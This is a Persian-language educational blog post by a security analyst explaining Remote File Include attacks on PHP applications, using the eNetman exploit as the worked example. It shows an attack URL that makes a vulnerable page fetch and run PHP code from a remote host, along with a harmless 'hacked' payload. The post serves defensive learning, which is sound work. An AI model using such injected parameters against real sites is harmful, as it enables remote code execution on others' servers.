احسان امجدی
کارشناس امنیت اطلاعات و ارتباطات

حمله RFI چیست؟ آشنایی با Remote File Include Attack به زبان ساده

همانطور که میدانید خود امنیت شبکه دارای گرایش های مختلفی است که تا کنون و در جاهای مختلف بیشتر در رابطه با گرایش تست نفوذ و هک آن صحبت میشود. اما در این بخش مفهومی که قصد اموزش آن را دارم در رسته تحلیل امنیت قرار میگیرد و درک آن برای هرکسی که قصد دارد در زمینه تحلیل امنیت ادامه دهد، بقول عامیانه از نان شب واجب تر است! به عنوان یک تحلیلگر امنیت، بنا به ذات کار خود، روزانه ترافیک زیادی را میبینید که باید آن ها را با درایت تحلیل کنید.

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران

یکی از مهمترین روش هایی که میتوان با میلیون ها لاگ امنیتی در روز دست و پنجه نرم کرد و بتوان لاگ های تهدید کننده را بطور واقعی تمایز داد، شناختن الگوها و مفاهیم است. شما ترافیک موجود را به دسته بندی های مختلف مانند شیوع بدافزار، تست نفوذ مجاز، حملات Brute-force، ساختاربندی اشتباه، اسکن پورت و ... گروه بندی میکنید.یکی از دسته بندی هایی که در کنار نمونه های مثال زده شده، ایجاد میکنید، حملات (Remote File Include (RFI است. با توجه به شهرت و فراگیر بودن این دسته از حملات، ردگیری آن ها سخت نیست.

حملات RFI بسادگی ردگیری میشوند که همین موضوع باعث میشود تا بتوان از آن ها اطلاعات آماری خوب و زمینه ای برای تحقیقات بعدی مهیا باشد. آرشیو اکسپلویت Milw0rm شامل حدود 580 اکسپلویت مختلف است که در عنوان خود RFI و یا Remote File Include را دارند. این نوع از حملات در سال 2007 از نظر موسسه SANS جزو 20 تهدید امنیتی و از نظر موسسه OWASP در همین سال با قرارگیری در دسته بندی Malicious File Execution، رتبه سوم از میان 10 آسیب پذیری خطرناک وب را از آن خود کند.در این آموزش سعی خواهم کرد تا چشم اندازی بر حملات RFI داشته باشم. در ادامه این حملات را در وب اپلیکیشن های PHP بررسی خواهم نمود. همانطور که میدانید PHP زبان اسکریپتی است که تعداد قابل توجهی از آسیب پذیری ها در دل ان شکل گرفته اند.

حمله RFI چیست؟

یک راه ساده برای درک کردن مفهوم حمله RFI، اینست که یک اتک واقعی علیه یک اپلیکیشن آسیب پذیر را رصد کرده و بقول معروف گام به گام با آن جلو بروید. برای این کار از اکسپلویت هایی که در این زمینه منتشر شده اند، کمک میگیریم ؛ اکسپلویت eNetman. eNetman یکی از ابزارهای مدیریتی وب اپلیکیشن است که به زبان PHP و در قالب MySQL نوشته شده است. کاربردی که برای این ابزار در نظر گرفته شده است، نگهداری لیستی ساختار یافته از سرورها است که متقابلا به مکان، سازنده، CPU و سیستم عامل آن ها اشاره دارد. eNetman علاوه بر آن که یک ابزار مدیریتی برای سیستم است، در برابر حمله RFI نیز آسیب پذیر است. در شکل اول اپلیکیشنی را میبینید که بصورت نرمال اجرا میشود و در شکل بعدی، همان اپلیکیشن را بعد از آن که بصورت ریموت کد در آن گنجانده شده است، مشاهده خواهید کرد:

وب سایت توسینسو
وب سایت توسینسو

در شکل دوم، دو چیز خودنمایی میکند: اول از همه عبارت "Hacked" است که بصورت بزرگ در سایت جا گذاری شده است و مورد دوم عبارت URL آن است؛

http://victim/enetman/html/index.php?Page=http://remote/include_me.txt

در واقع در شکل دوم، فرم صفحه به آن شکل در آمد بخاطر آن که eNetman کد php ای را که شامل includeme.txt بود، اجرا کرد. Includeme.php در یک وب سرور ریموت واقع شده است و از آن جا بر روی وب مورد نظر مستقیما اجرا میشود. در زیر میتوانید کد php ای را که شامل include_me.txt بود، مشاهده کنید:

<?php
Echo "<h1>hacked</h2>";
?> 

قبل از آن که سمت و سوی بحث را بطرف آنچه که رخ داده است، ببرم، میخواهم عبارت URL را به چند قسمت، مجزا کنم. ما فایل " enetman/html/index.php/" که در وب سرور "Victim" اسکریپتی آسیب پذیر است، درخواست میکنیم. همچنین در مقابل پارامتر "page"، ارزش http://remote/include_me.txt را قرار میدهیم.

یک آسیب پذیری RFI چه شکلی است؟

php هم مانند زبان های دیگر دارای عملگری است که بشما این اجازه را میدهد تا کد دیگری را در کد خود شامل (include) کرده و اجرا کنید. در مثال B میبینید که ساختار کد شامل کد موجود در مثال A نیز هست و توانسته است آن را به خروجی ببرد.

Example A: 3a.php code

 <?php
Echo "I,m from 3a";
?>
----------------
Output: I,m from 3a

Example B: 3b.php code

<?php
Include '3a.php';
Echo "--I,m from 3b";
?>
---------------
Output: I,m from 3a -- I'm from 3b

php به دو کامپوننت در زبان خود این اجازه را میدهد تا با یکدیگر ترکیب شده و به حمله اجازه اجرا دهند. اولین کامپوننت به عملگر include این اجازه را میدهد تا فایل هایی را از یک سرور ریموت در خود include کنند. دومین کامپوننت به یک درخواست HTTP این اختیار را میدهد تا متغیرهای داخلی ای که مقدار دهی اولیه نشده اند را از طریق پارامترهایی که بعد از -- میآیند، آلوده نماید که البته کیفیت این موضوع نیز خود به نوع اپلیکیشن بستگی دارد. با این که همیشه بوجود که این کامپوننت احتیاجی نیست اما اکثر اکسپلویت ها بر اساس آن کار میکنند.

در یک وب اپلیکیشن، یکی از راه هایی که دیتای مورد نظر اتکر از طریق یک اسکریپت میتواند منتقل شود، ارسال یک پارامتر به همراه ارزش آن در url است. ارتباط و دسترسی این پارامتر و دیتایی که درون آن وجود دارد، از طریق یک اسکریپت میباشد. در php، متغیرها قبل از آن ها مورد استفاده واقع شوند، نمیتوانند مقدار دهی اولیه شوند. در چنین شرایطی، Php، به متغیرهایش، پارامترهایی بی مقدار، با همان نام متغیر اختصاص میدهد.

مانا باشید.

نویسنده: احسان امجدی

منبع: انجمن تخصصی فناوری اطلاعات ایران

هرگونه نشر و کپی برداری بدون ذکر منبع و نام نویسنده دارای اشکال اخلاقی می باشد.


احسان امجدی
احسان امجدی

کارشناس امنیت اطلاعات و ارتباطات

احسان امجدی ، مشاور امنیت اطلاعات و ارتباطات و تست نفوذ سنجی ، هکر کلاه سفید ، مدرس دوره های تخصصی امنیت اطلاعات و شبکه ، تخصص در حوزه های سرویس های مایکروسافت ، Routing و Switching ، مجازی سازی ، امنیت اطلاعات و تست نفوذ ، کشف جرائم رایانه ای و سیستم عامل لینوکس ، متخصص در حوزه SOC و ...

نظرات